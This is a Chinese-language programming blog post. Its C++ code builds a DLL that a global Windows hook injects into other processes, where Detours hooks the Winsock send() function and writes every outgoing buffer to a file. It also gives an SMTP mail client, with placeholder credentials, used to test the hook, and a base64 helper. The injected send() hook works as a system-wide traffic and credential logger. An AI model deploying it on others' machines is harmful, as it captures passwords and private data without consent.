vs2010非unicode 全局拦截send函数

新建dll工程testdll

dllmain.cpp

// dllmain.cpp : DLL アプリケーションのエントリ ポイントを定義します。
#include "stdafx.h"
#include "testdll.h"
#include <iostream>
using namespace std;

#include "stdafx.h"  
#include "detours.h"  
#include <Winsock2.h>  
//#include <iostream.h>
#include <stdio.h>
#pragma comment(lib, "Ws2_32.lib")  
#pragma comment(lib, "detours.lib")   
#pragma comment(lib, "detoured.lib")  
  




VOID UnHook();  
HANDLE m_hModule=0;  
  
//static int (WINAPI* OLD_MessageBoxW)(HWND hWnd,LPCWSTR lpText,LPCWSTR lpCaption,UINT uType)=MessageBox;  
//static SOCKET (WINAPI* OLD_MessageBox)(int af,int type,int protocol)=socket;  
//static int (WINAPI* pSend)(SOCKET s, const char* buf, int len, int flags)=send;  
static int (WINAPI* OLD_MessageBox)(SOCKET s,              
  const char FAR *buf,  
  int len,               
  int flags)=send;  
//int WINAPI NEW_MessageBox(HWND hWnd,LPCWSTR lpText,LPCWSTR lpCaption,UINT uType)  
int WINAPI NEW_MessageBox(SOCKET s,              
  const char FAR *buf,  
  int len,               
  int flags)
{     
	/*u_short port=ntohs(((sockaddr_in *)name)->sin_port);
	if(port==25){
	*/
	
		FILE* fp;
		int Flen = 0;
		char* p;
		p = NULL;
		fp = fopen("c:\\rcv1.txt", "ab+");
		fseek(fp, 0, SEEK_END);
		//Flen = ftell(fp);
		//p= (char*)malloc( sizeof(char) * (Flen+1) ); //是这么申请
		/*if(p == NULL)//申请后判定是否申请成功
		{
		return;
		}*/
		//fseek(fp, 0, SEEK_SET);  //首先移动到文件开头再读取
		fwrite(buf, sizeof(char),strlen(buf)*sizeof(char), fp);//读取大小无限制
		fflush(fp);
		fclose(fp);
	OLD_MessageBox(s,buf,len,flags);
	
    return 0;  
}  
  
VOID Hook()  
{  
    DetourRestoreAfterWith();  
    DetourTransactionBegin();  
    DetourUpdateThread(GetCurrentThread());  
      
    //?里可以??多次?用DetourAttach,表明HOOK多个函数  
    DetourAttach(&(PVOID&)OLD_MessageBox,NEW_MessageBox);  
      
    DetourTransactionCommit();  
}  
  
VOID UnHook()  
{  
    DetourTransactionBegin();  
    DetourUpdateThread(GetCurrentThread());  
      
    //?里可以??多次?用DetourDetach,表明撤?多个函数HOOK  
    DetourDetach(&(PVOID&)OLD_MessageBox,NEW_MessageBox);  
      
    DetourTransactionCommit();  
      
}  
  
LRESULT CALLBACK CBTProc(  
                         int nCode,      // hook code  
                         WPARAM wParam,  // depends on hook code  
                         LPARAM lParam   // depends on hook code  
                         ){  
    //MessageBox(0,"進入鉤子","測試",0);  
    return CallNextHookEx((HHOOK)m_hModule,nCode,wParam,lParam);  
}  


HHOOK hook=NULL;
void GJL_InstallHook(HWND hwnd)
{
	hook=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)m_hModule,0);//非常重要,进入相应的程序进程当中
	//hook=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)m_hModule,0);
	
}

void GJL_UnHook()
{
	//UnHook();
	UnhookWindowsHookEx(hook);
	
}


//HANDLE m_hModule=NULL;
   
  //HHOOK hook=0;
BOOL APIENTRY DllMain( HANDLE hModule,   
                      DWORD  ul_reason_for_call,   
                      LPVOID lpReserved  
                      )
{  
    switch (ul_reason_for_call)  
    {
    case DLL_PROCESS_ATTACH:      
          
        m_hModule=hModule;
		//UnhookWindowsHookEx(hook);
        //hook=SetWindowsHookEx(WH_CBT,(HOOKPROC)CBTProc,(HINSTANCE)m_hModule,0);  
        Hook();   
        break;  
    case DLL_THREAD_ATTACH:       
          
        break;  
    case DLL_THREAD_DETACH:       
  
        break;  
    case DLL_PROCESS_DETACH:              
  
        //UnhookWindowsHookEx((HHOOK)m_hModule);  
        UnHook(); 
		//int i=UnhookWindowsHookEx(hook);
		//hook=0;
        break;  
    }  
    return TRUE;  
} 

mydll.def

LIBRARY "testdll"
EXPORTS
GJL_InstallHook	@1
GJL_UnHook		@2

testdll.h中
#ifndef TestDll_H_
#define TestDll_H_
#ifdef MYLIBDLL
#define MYLIBDLL extern "C" _declspec(dllimport) 
#else
#define MYLIBDLL extern "C" _declspec(dllexport) 
#endif
MYLIBDLL void GJL_InstallHook(HWND hwnd);
//You can also write like this:
//extern "C" {
//_declspec(dllexport) int Add(int plus1, int plus2);
//};
MYLIBDLL void GJL_UnHook();
#endif

新建MFC

//导入函数
#pragma comment(lib,"testdll.lib")
extern "C"_declspec(dllimport) void GJL_InstallHook(HWND hwnd);
extern "C"_declspec(dllimport) void GJL_UnHook();


BOOL Ctest_MFCDlg::OnInitDialog()中
// TODO: 初期化をここに追加します。
GJL_InstallHook(m_hWnd);


启动mfc,发送邮件


c++发送邮件代码

sendMail.cpp

//#include "StdAfx.h"
#include <stdlib.h>
#include "winsock2.h"
#include "base64.h"
#include <sys/stat.h>
#include <stdio.h>
#include <iostream>
using namespace std;

#include <time.h>
#include <io.h>


//winsock 2.2 library
#pragma comment(lib,"ws2_32.lib")

#define SMTP_PORT 25 // Standard port for SMTP servers
#define RESPONSE_BUFFER_SIZE 1024
#define PARA_BUF 128
#define RESPONSE_NUM  6
#define _T(x)   x

// Helper Code
struct response_code
{
	UINT nResponse; // Response we're looking for
	TCHAR* sMessage; // Error message if we don't get it
};


enum eResponse
{
	GENERIC_SUCCESS = 0,
		AUTHLOGIN_SUCCESS,
		AUTH_SUCCESS,
		CONNECT_SUCCESS,
		DATA_SUCCESS,
		QUIT_SUCCESS,
		LAST_RESPONSE
};

TCHAR *response_buf;
static response_code response_table[RESPONSE_NUM]=
{
	//GENERIC_SUCCESS
	{250, _T("SMTP 服務器錯誤")},
		//AUTHLOGIN_SUCCESS
	{334, _T("SMTP 驗證連接錯誤")},
	//AUTH_SUCCESS
	{235, _T("SMTP user / 密碼驗證錯誤")},
	//CONNECT_SUCCESS
	{220, _T("SMTP 服務器不可用")},
	//DATA_SUCCESS
	{354, _T("SMTP 服務器不能接收数据")},
	//QUIT_SUCCESS
	{221, _T("SMTP 沒有終止對話")}
	
};


typedef struct _tagCONFIG_INFO {
	char m_szServerName[PARA_BUF];
	char m_nPort[1];
	char m_nNeedAuth[1];
	char m_szAccount[PARA_BUF];
	char m_szPassword[PARA_BUF];
	char m_szFrom[PARA_BUF];
	char m_szTo[PARA_BUF];
	char m_szUsername[PARA_BUF];
	char m_szFilename[PARA_BUF*2];
	char m_szSubject[PARA_BUF];
	char m_szBody[1024];
}CONFIG_INFO, * LPCONFIG_INFO;


SOCKET sconnection;
CONFIG_INFO ci;




BOOL AuthorizationLogin();
BOOL GetResponse(UINT response_expected);
BOOL SendMail();
BOOL AuthorizationPLAIN();


int main(int argc, char* argv[])
{

	MessageBox(NULL,"123","123",MB_OK) ;

	WSADATA wsock;
	SOCKADDR_IN          serAddr;
	int                  nRet=0;
	//初始化Winsock 2.2
	
	printf("\nInitialising Winsock...\n");
	if (WSAStartup(MAKEWORD(2,2),&wsock) != 0)
	{
		fprintf(stderr,"WSAStartup() failed %d\n, WSAGetLastError()");
        exit(0); 
	} 
	printf("Initialised successfully.\n");
	
	//?建?听socket
	printf("\nCreating TCP Socket...\n");
	if ((sconnection = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP))
		== INVALID_SOCKET)
	{
		printf("Creation of socket failed %d\n", WSAGetLastError());
		WSACleanup();
		return 0;
	}
	printf("TCP Socket Created successfully.\n");
	
	ZeroMemory(&ci,sizeof(CONFIG_INFO));
	//?件服?器
	// printf("Enter mail server name: ");
	// sprintf(ci.m_szServerName,"smtp.126.com");
	// sprintf(ci.m_szServerName,"smtp.sohu.com");
	// sprintf(ci.m_szServerName,"smtp.sina.com.cn");
	printf("Please enter smtp Server Name:");

	//gets(ci.m_szServerName);
	//ci.m_szServerName="smtp.gmail.com"
	//sscanf("smtp.sina.com","%s",ci.m_szServerName);
//sscanf("192.168.20.188","%s",ci.m_szServerName);
	sscanf("192.168.20.197","%s",ci.m_szServerName);


	printf(ci.m_szServerName);
	//?置SOCKADDR_IN地址??
	serAddr.sin_family = AF_INET;
	serAddr.sin_port = htons(SMTP_PORT);
	//From CAsyncSocket::Connect
	serAddr.sin_addr.s_addr = inet_addr(ci.m_szServerName);
	if (serAddr.sin_addr.s_addr == INADDR_NONE)
	{
		LPHOSTENT lphost;
		lphost = gethostbyname(ci.m_szServerName);
		if (lphost != NULL)
			serAddr.sin_addr.s_addr = ((LPIN_ADDR)lphost->h_addr)->s_addr;
		else
		{
			WSASetLastError(WSAEINVAL);
			return 0;
		}
	}
	//?接服?端
	printf("Connecting to %s:%d...\n",
		inet_ntoa(serAddr.sin_addr), htons(serAddr.sin_port));
	if (connect(sconnection, (SOCKADDR *) &serAddr, sizeof(serAddr)) 
		== SOCKET_ERROR)
	{
		printf("connection failed with error %d\n", WSAGetLastError());
		closesocket(sconnection);
		WSACleanup();
		return 0;
	} 
	printf("connection successfully.\n");
	
	response_buf = new TCHAR[RESPONSE_BUFFER_SIZE];
	
	
	if(!GetResponse(CONNECT_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	//?送“EHLO %SMTP-Server Name%”:
	char szHello[PARA_BUF];
	sprintf(szHello,_T("EHLO %s\r\n"),ci.m_szServerName);
	send(sconnection,szHello,strlen(szHello),0);
	if(!GetResponse(GENERIC_SUCCESS))
	{
		printf("Cann't connect the server!\n");
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	//用?名、密?
	printf("Enter Account name: ");
	//gets(ci.m_szAccount);
	//ci.m_szAccount="ng@gmail.com";
	sscanf("youxiang@youxiang.com","%s",ci.m_szAccount);
//sscanf("youxiang@youxiang.com","%s",ci.m_szAccount);


	printf("Enter passwd: ");
	//gets(ci.m_szPassword);
	//ci.m_szPassword="gjlsgdhrwodemima110";
sscanf("123456","%s",ci.m_szPassword);
//sscanf("123456","%s",ci.m_szPassword);
	printf("Enter Sender Email: ");
	//gets(ci.m_szFrom);
	//ci.m_szFrom="ng@gmail.com";
	sscanf("youxiang@youxiang.com","%s",ci.m_szFrom);


	printf("Enter Subject: ");
	//gets(ci.m_szSubject);
	//ci.m_szSubject="123";
sscanf("AEREO URGENTE!!!","%s",ci.m_szSubject);

	printf("Enter Receiver Email: ");
	//gets(ci.m_szTo);
	//ci.m_szTo="807382269@qq.com";
sscanf("youxiang@youxiang.com","%s",ci.m_szTo);


	printf("Enter Email Content: ");
	//gets(ci.m_szBody);
	//ci.m_szBody="c+++";
sscanf("content","%s",ci.m_szBody);
	
	
	if(AuthorizationLogin())
	//if(AuthorizationPLAIN())
	{
		if(SendMail())
			printf("Send ok!\n");
		else{
			printf("p0");
		}
	}
	else{
		printf("p1");
	}
	printf("Closing the connection.\n");
	closesocket(sconnection);
	WSACleanup();
	return 0;
}






//****************************************
// 函数功能:Login認證
//****************************************
BOOL AuthorizationLogin1()
{
	char* szAccount;
	char* szPassword;
	printf("Authing......\n ");
	//?送“AUTH LOGIN”:
	send(sconnection,_T("AUTH LOGIN\r\n"), strlen(_T("AUTH LOGIN\r\n")),0);
	//send(sconnection,_T("AUTH plain\r\n"), strlen(_T("AUTH plain\r\n")),0);


	if(!GetResponse(AUTHLOGIN_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	//?送??Base64??的用??号:
	base64_encode(ci.m_szAccount,strlen(ci.m_szAccount),&szAccount);
	// char buf[200];
	// base64_decode(szAccount,buf);
	//注意添加回??行
	strcat(szAccount,"\r\n");
	send(sconnection,szAccount,strlen(szAccount),0);
	
	if(!GetResponse(AUTHLOGIN_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	} 
	//?送??Base64??的用?密?
	base64_encode(ci.m_szPassword,strlen(ci.m_szPassword),&szPassword);
	strcat(szPassword,"\r\n");
	send(sconnection,szPassword,strlen(szPassword),0);
	if(!GetResponse(AUTH_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	return TRUE;
}


//****************************************
// 函数功能:PLAIN認證
//****************************************
BOOL AuthorizationPLAIN()
{
	char* szAccount;
	char* szPassword;
	char* result;
	char resultTmp[21];

	string tmp="^youxiang@youxiang.com^123456";
	//string tmp="^youxiang0915@163.com^gjlsgdhrwodemima";
	send(sconnection,_T("AUTH PLAIN\r\n"), strlen(_T("AUTH PLAIN\r\n")),0);
	if(!GetResponse(AUTHLOGIN_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}

	// printf("Authing......\n ");
	//?送“AUTH LOGIN”:
	//resultTmp="\0807382269\0gjlsgdhrwodemima110";
// 	for (int j=0;j<sizeof(resultTmp);i++)
// 	{
// 		resultTmp[j]=
// 	}
	//string tmp = '^szAccount^szPassword';
	for (int i=0;i<tmp.size();i++)
	{
		if (tmp[i]=='^')
		{
			resultTmp[i]='\0';
		}else{
			resultTmp[i]=tmp[i];
		}
		
	}

	//base64_encode(testResult,sizeof(testResult),&result);
	

	base64_encode(resultTmp,strlen(resultTmp),&result);
	strcat(result,"\r\n");
	send(sconnection,result, strlen(result),0);

	//send(sconnection,_T("AUTH PLAIN\r\n"), strlen(_T("AUTH PLAIN\r\n")),0);
	
	if(!GetResponse(AUTHLOGIN_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	//?送??Base64??的用??号:
// 	base64_encode(ci.m_szAccount,strlen(ci.m_szAccount),&szAccount);
// 	// char buf[200];
// 	// base64_decode(szAccount,buf);
// 	//注意添加回??行
// 	strcat(szAccount,"\r\n");
// 	send(sconnection,szAccount,strlen(szAccount),0);
// 	
// 	if(!GetResponse(AUTHLOGIN_SUCCESS))
// 	{
// 		closesocket(sconnection);
// 		delete response_buf;
// 		response_buf = NULL;
// 		return FALSE;
// 	} 
// 	//?送??Base64??的用?密?
// 	base64_encode(ci.m_szPassword,strlen(ci.m_szPassword),&szPassword);
// 	strcat(szPassword,"\r\n");
// 	send(sconnection,szPassword,strlen(szPassword),0);
// 	if(!GetResponse(AUTH_SUCCESS))
// 	{
// 		closesocket(sconnection);
// 		delete response_buf;
// 		response_buf = NULL;
// 		return FALSE;
// 	}
	
	return TRUE;
}



//****************************************
// 函数功能:?得服?器返回信息
//****************************************
BOOL GetResponse(UINT response_expected)
{ 
	char szResponse[RESPONSE_BUFFER_SIZE];
	UINT response;
	response_code *pResp;
	
	if(recv(sconnection,response_buf, RESPONSE_BUFFER_SIZE,0) == SOCKET_ERROR)
	{
		return FALSE;
	}
	
	strncpy(szResponse,response_buf,3);
	sscanf(szResponse, _T("%d"), &response);
	
	pResp = &response_table[response_expected];
	if(response != pResp->nResponse)
	{
		printf(_T("%d:%s"), response, (LPCTSTR)pResp->sMessage);
		return FALSE;
	}
	
	return TRUE;
}


//****************************************
// 函数功能:生成并???件内容
//****************************************
BOOL SendMail()
{
	char szFrom[PARA_BUF]={0},szTo[PARA_BUF]={0},szSubject[PARA_BUF]={0},szBodyHead[PARA_BUF*10]={0};
	char szBody[PARA_BUF*20]={0},szContent[PARA_BUF*80]={0},szAttachment[PARA_BUF*10]={0},szTemp[PARA_BUF*50]={0};
	char szDateTime[PARA_BUF]={0},szFileBuf[1024*5]={0};
	
	printf("Sending Mail......\n ");
	//?送Header中的“MAIL FROM”
	sprintf(szFrom,_T("MAIL FROM:<%s>\r\n"),ci.m_szFrom);
	
	send(sconnection,szFrom,strlen(szFrom),0);
	if(!GetResponse(GENERIC_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	//?送Header中的“RCPT TO” 
	sprintf(szTo,_T("RCPT TO:<%s>\r\n"),ci.m_szTo);
	send(sconnection,szTo,strlen(szTo),0);
	
	
	if(!GetResponse(GENERIC_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	//?送“DATA\r\n”
	send(sconnection,"DATA\r\n",strlen("DATA\r\n"),0);
	if(!GetResponse(DATA_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	} 
	//以下?行 Body 的?理
	sprintf(szFrom,_T("FROM:%s<%s>\r\n"),ci.m_szUsername,ci.m_szFrom);
	sprintf(szTo,_T("TO:<%s>\r\n"),ci.m_szTo);
	time_t ltime=time(NULL);
	_tzset();
	sprintf(szDateTime,"Date:%s",ctime(<ime));
	
	sprintf(szSubject,_T("Subject:%s\r\n"),ci.m_szSubject);
	
	sprintf(szBodyHead,_T("X-Mailer: ntSmtp [ch]\r\n"));
	strcat(szBodyHead,"MIME_Version:1.0\r\n");
	strcat(szBodyHead,"Content-type:multipart/mixed;Boundary=ntSmtp\r\n\r\n");
	strcat(szBodyHead,"--ntSmtp\r\n");
	strcat(szBodyHead,"Content-type:text/plain;Charset=gb2312\r\n");
	strcat(szBodyHead,"Content-Transfer-Encoding:8bit\r\n\r\n");
	
	sprintf(szBody,_T("%s\r\n\r\n"),ci.m_szBody);
	
	//以下?行附件的?理
	if(!_access(ci.m_szFilename,0))
	{
		sprintf(szTemp,"--ntSmtp\r\n");
		strcat(szTemp,"Content-Type:application/octet-stream;Name=%s\r\n");
		strcat(szTemp,"Content-Disposition:attachment;FileName=%s\r\n");
		strcat(szTemp,"Content-Transfer-Encoding:Base64\r\n\r\n");
		strcat(szTemp,"%s\r\n\r\n");
		
		sprintf(szContent,szFrom);
		strcat(szContent,szTo);
		strcat(szContent,szDateTime);
		strcat(szContent,szSubject);
		strcat(szContent,szBodyHead);
		strcat(szContent,szBody);
		HANDLE hFile;
		hFile=CreateFile(ci.m_szFilename,GENERIC_READ,FILE_SHARE_READ, NULL
			,OPEN_EXISTING,FILE_ATTRIBUTE_NORMAL,NULL);
		if(hFile!=INVALID_HANDLE_VALUE)
		{
			struct _stat filestat;
			_stat(ci.m_szFilename,&filestat);
			
			DWORD dwNum;
			ReadFile(hFile,szFileBuf,filestat.st_size,&dwNum,NULL);
			char* file;
			base64_encode(szFileBuf,strlen(szFileBuf),&file);
			char fname[100]={0};
			char ext[3]={0};
			_splitpath(ci.m_szFilename,NULL,NULL,fname,ext);
			strcat(fname,ext);
			sprintf(szAttachment,szTemp,fname,fname,file);
			
			CloseHandle(hFile);
			strcat(szContent,szAttachment);
		}
		//?接成Content 
		strcat(szContent,"--ntSmtp\r\n.\r\n");
	}
	else
	{
		//?接成 Content
		strcat(szContent,szFrom);
		strcat(szContent,szTo);
		strcat(szContent,szDateTime);
		strcat(szContent,szSubject);
		strcat(szContent,szBodyHead);
		strcat(szContent,szBody);
		strcat(szContent,"--ntSmtp\r\n.\r\n"); 
	}
	
	//?送 Content 
	send(sconnection,szContent,strlen(szContent),0);
	if(!GetResponse(GENERIC_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	//?送Quit
	send(sconnection,_T("QUIT\r\n"),strlen(_T("QUIT\r\n")),0);
	if(!GetResponse(QUIT_SUCCESS))
	{
		closesocket(sconnection);
		delete response_buf;
		response_buf = NULL;
		return FALSE;
	}
	
	return TRUE;
}

BOOL AuthorizationLogin()  
{  
	char* szAccount;  
	char* szPassword;  
	printf("Authing......\n ");  
	//?送“AUTH LOGIN”:  
	send(sconnection,_T("AUTH LOGIN\r\n"), strlen(_T("AUTH LOGIN\r\n")),0);  
	
	if(!GetResponse(AUTHLOGIN_SUCCESS))  
	{  
		closesocket(sconnection);  
		delete response_buf;  
		response_buf = NULL;  
		return FALSE;  
	}  
	
	//?送??Base64??的用??号:  
	base64_encode(ci.m_szAccount,strlen(ci.m_szAccount),&szAccount);  
	// char buf[200];  
	// base64_decode(szAccount,buf);  
	//注意添加回??行  
	strcat(szAccount,"\r\n");  
	send(sconnection,szAccount,strlen(szAccount),0);  
	
	if(!GetResponse(AUTHLOGIN_SUCCESS))  
	{  
		closesocket(sconnection);  
		delete response_buf;  
		response_buf = NULL;  
		return FALSE;  
	}   
	//?送??Base64??的用?密?  
	base64_encode(ci.m_szPassword,strlen(ci.m_szPassword),&szPassword);  
	strcat(szPassword,"\r\n");  
	send(sconnection,szPassword,strlen(szPassword),0);  
	if(!GetResponse(AUTH_SUCCESS))  
	{  
		closesocket(sconnection);  
		delete response_buf;  
		response_buf = NULL;  
		return FALSE;  
	}  
	
	return TRUE;  
}  

base64.cpp

//#include "stdafx.h"
#include <stdlib.h>
#include <string.h>
#include "base64.h"


static char base64[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/";


static int pos(char c)
{
  char *p;
  for(p = base64; *p; p++)
    if(*p == c)
      return p - base64;
  return -1;
}


int base64_encode(const void *data, int size, char **str)
{
  char *s, *p;
  int i,c;
  unsigned char *q;


  p = s = new char [size*4/3+4];
  if(p == NULL)
      return -1;
  q = (unsigned char*)data;
  i=0;
  for(i = 0; i < size;)
  {
    c=q[i++];
    c*=256;
    if(i < size)
      c+=q[i];
    i++;
    c*=256;
    if(i < size)
      c+=q[i];
    i++;
    p[0]=base64[(c&0x00fc0000) >> 18];
    p[1]=base64[(c&0x0003f000) >> 12];
    p[2]=base64[(c&0x00000fc0) >> 6];
    p[3]=base64[(c&0x0000003f) >> 0];
    if(i > size)
      p[3]='=';
    if(i > size+1)
      p[2]='=';
    p+=4;
  }


  *p=0;
  *str = s;
  return strlen(s);
}


int base64_decode(const char *str, void *data)
{
  const char *p;
  unsigned char *q;
  int c,x,done=0;


  q=(unsigned char*)data;
  for(p=str; *p && !done; p+=4)
  {
    x = pos(p[0]);
    if(x >= 0)
      c = x;
    else
{
      done = 3;
      break;
    }
    c*=64;
    
    x = pos(p[1]);
    if(x >= 0)
      c += x;
    else
      return -1;
    c*=64;
    
    if(p[2] == '=')
      done++;
    else
{
      x = pos(p[2]);
      if(x >= 0)
  c += x;
      else
  return -1;
    }
    c*=64;
    
    if(p[3] == '=')
      done++;
    else
{
      if(done)
  return -1;
      x = pos(p[3]);
      if(x >= 0)
  c += x;
      else
  return -1;
    }
    if(done < 3)
      *q++=(c&0x00ff0000)>>16;
      
    if(done < 2)
      *q++=(c&0x0000ff00)>>8;
    if(done < 1)
      *q++=(c&0x000000ff)>>0;
  }
  return q - (unsigned char*)data;
}

base64.h

int base64_encode(const void *data, int size, char **str);


  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

g710710

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值